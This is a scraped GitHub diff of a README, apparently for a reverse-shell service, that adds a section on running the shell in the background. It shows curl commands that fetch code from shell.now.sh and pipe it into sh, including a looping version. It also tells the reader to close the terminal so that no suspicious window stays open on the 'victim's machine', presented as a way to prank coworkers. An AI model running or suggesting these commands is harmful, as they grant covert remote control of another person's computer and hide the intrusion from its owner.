You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardexpand all lines: README.md
+12
Original file line number
Diff line number
Diff line change
@@ -67,6 +67,18 @@ while true; do curl https://shell.now.sh/yourip:1337 | sh; done
67
67
68
68
Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.
69
69
70
+
### Running as a background process
71
+
72
+
The terminal session needs to be kept open to persist the reverse shell connection. That might be a bit of a giveaway if you're trying to prank coworkers.
73
+
74
+
The following command will run the reverse shell in a background process and exit the terminal, leaving no suspicious looking terminal windows open on the victim's machine.
75
+
76
+
Make sure you run this in a fresh terminal window otherwise you'll lose any work in your existing session.
77
+
78
+
```shell
79
+
sh -c "curl https://shell.now.sh/localhost:1337 | sh -i &"&&exit
0 commit comments